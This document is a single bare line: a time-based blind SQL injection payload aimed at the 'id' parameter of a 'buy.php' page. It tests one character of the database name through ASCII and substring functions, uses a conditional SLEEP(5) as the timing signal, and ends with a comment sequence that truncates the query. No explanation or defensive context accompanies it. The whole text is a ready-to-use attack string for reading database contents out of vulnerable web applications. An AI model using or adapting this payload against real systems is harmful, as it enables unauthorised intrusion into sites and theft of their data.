buy.php?id=1'+AND+ascii(substring((database()),33,1))=55+and+if(true=false,1,SLEEP(5))--+-